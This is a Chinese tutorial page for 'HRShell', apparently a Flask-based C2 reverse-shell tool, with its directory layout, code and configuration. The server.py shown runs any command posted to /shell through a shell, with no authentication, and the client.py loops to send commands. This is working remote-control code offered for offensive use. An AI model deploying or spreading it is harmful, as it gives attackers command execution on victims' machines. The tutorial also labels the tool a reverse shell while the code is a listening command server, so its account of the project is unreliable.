HRShell 项目使用教程
2024-08-26 23:03:30作者:宗隆裙
1. 项目的目录结构及介绍
HRShell 是一个基于 Flask 的 HTTPS/HTTP 反向 shell 项目,用于高级 C2 服务器。以下是项目的目录结构及其介绍:
HRShell/
├── client.py
├── server.py
├── config.py
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
client.py: 客户端文件,用于与服务器建立连接。server.py: 服务器文件,用于接收客户端连接并执行命令。config.py: 配置文件,包含服务器和客户端的配置选项。requirements.txt: 项目依赖文件,列出了运行项目所需的 Python 包。README.md: 项目说明文件,包含项目的基本信息和使用方法。LICENSE: 项目许可证文件,说明项目的授权和使用条款。.gitignore: Git 忽略文件,指定不需要版本控制的文件和目录。
2. 项目的启动文件介绍
服务器启动文件 (server.py)
server.py 是 HRShell 项目的服务器启动文件。它使用 Flask 框架来创建一个 Web 服务器,用于接收客户端的连接并执行命令。以下是 server.py 的基本结构:
from flask import Flask, request, jsonify
import subprocess
app = Flask(__name__)
@app.route('/shell', methods=['POST'])
def shell():
    command = request.json['command']
    result = subprocess.run(command, shell=True, capture_output=True)
    return jsonify({'output': result.stdout.decode()})
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
Flask是用于创建 Web 应用的框架。subprocess模块用于执行系统命令。/shell路由用于接收客户端发送的命令并返回执行结果。
客户端启动文件 (client.py)
client.py 是 HRShell 项目的客户端启动文件。它用于与服务器建立连接并发送命令。以下是 client.py 的基本结构:
import requests
import json
SERVER_URL = 'http://localhost:5000/shell'
def send_command(command):
    payload = {'command': command}
    response = requests.post(SERVER_URL, json=payload)
    return response.json()['output']
if __name__ == '__main__':
    while True:
        command = input("Enter command: ")
        output = send_command(command)
        print(output)
requests模块用于发送 HTTP 请求。send_command函数用于向服务器发送命令并接收执行结果。
3. 项目的配置文件介绍
配置文件 (config.py)
config.py 是 HRShell 项目的配置文件,包含服务器和客户端的配置选项。以下是 config.py 的基本结构:
# Server configuration
SERVER_HOST = '0.0.0.0'
SERVER_PORT = 5000
# Client configuration
CLIENT_SERVER_URL = 'http://localhost:5000/shell'
SERVER_HOST和SERVER_PORT定义了服务器的监听地址和端口。CLIENT_SERVER_URL定义了客户端连接的服务器 URL。
通过修改 config.py 文件中的配置选项,可以调整服务器和客户端的行为。
以上是 HRShell 项目的使用教程,涵盖了项目的目录结构、启动文件和配置文件的介绍。希望这些信息能帮助你更好地理解和使用 HRShell 项目。
登录后查看全文 
热门项目推荐
PaddleOCR-VLPaddleOCR-VL 是一款顶尖且资源高效的文档解析专用模型。其核心组件为 PaddleOCR-VL-0.9B,这是一款精简却功能强大的视觉语言模型(VLM)。该模型融合了 NaViT 风格的动态分辨率视觉编码器与 ERNIE-4.5-0.3B 语言模型,可实现精准的元素识别。Python00- DDeepSeek-OCRDeepSeek-OCR是一款以大语言模型为核心的开源工具,从LLM视角出发,探索视觉文本压缩的极限。Python00
 
MiniCPM-V-4_5MiniCPM-V 4.5 是 MiniCPM-V 系列中最新且功能最强的模型。该模型基于 Qwen3-8B 和 SigLIP2-400M 构建,总参数量为 80 亿。与之前的 MiniCPM-V 和 MiniCPM-o 模型相比,它在性能上有显著提升,并引入了新的实用功能Python00
HunyuanWorld-Mirror混元3D世界重建模型,支持多模态先验注入和多任务统一输出Python00
MiniMax-M2MiniMax-M2是MiniMaxAI开源的高效MoE模型,2300亿总参数中仅激活100亿,却在编码和智能体任务上表现卓越。它支持多文件编辑、终端操作和复杂工具链调用Jinja00
Spark-Scilit-X1-13B科大讯飞Spark Scilit-X1-13B基于最新一代科大讯飞基础模型,并针对源自科学文献的多项核心任务进行了训练。作为一款专为学术研究场景打造的大型语言模型,它在论文辅助阅读、学术翻译、英语润色和评论生成等方面均表现出色,旨在为研究人员、教师和学生提供高效、精准的智能辅助。Python00
GOT-OCR-2.0-hf阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00- HHowToCook程序员在家做饭方法指南。Programmer's guide about how to cook at home (Chinese only).Dockerfile014
 
Spark-Chemistry-X1-13B科大讯飞星火化学-X1-13B (iFLYTEK Spark Chemistry-X1-13B) 是一款专为化学领域优化的大语言模型。它由星火-X1 (Spark-X1) 基础模型微调而来,在化学知识问答、分子性质预测、化学名称转换和科学推理方面展现出强大的能力,同时保持了强大的通用语言理解与生成能力。Python00- PpathwayPathway is an open framework for high-throughput and low-latency real-time data processing.Python00
 
项目优选
收起
OpenHarmony documentation | OpenHarmony开发者文档
Dockerfile
274
2.57 K
deepin linux kernel
C
24
6
React Native鸿蒙化仓库
JavaScript
222
302
Ascend Extension for PyTorch
Python
103
132
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
597
157
暂无简介
Dart
564
126
一个用于服务器应用开发的综合工具库。
- 零配置文件
- 环境变量和命令行参数配置
- 约定优于配置
- 深刻利用仓颉语言特性
- 只需要开发动态链接库,fboot负责加载、初始化并运行。
Cangjie
239
14
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.03 K
607
仓颉编译器源码及 cjdb 调试工具。
C++
118
98
旨在打造算法先进、性能卓越、高效敏捷、安全可靠的密码套件,通过轻量级、可剪裁的软件技术架构满足各行业不同场景的多样化要求,让密码技术应用更简单,同时探索后量子等先进算法创新实践,构建密码前沿技术底座!
C
1.02 K
445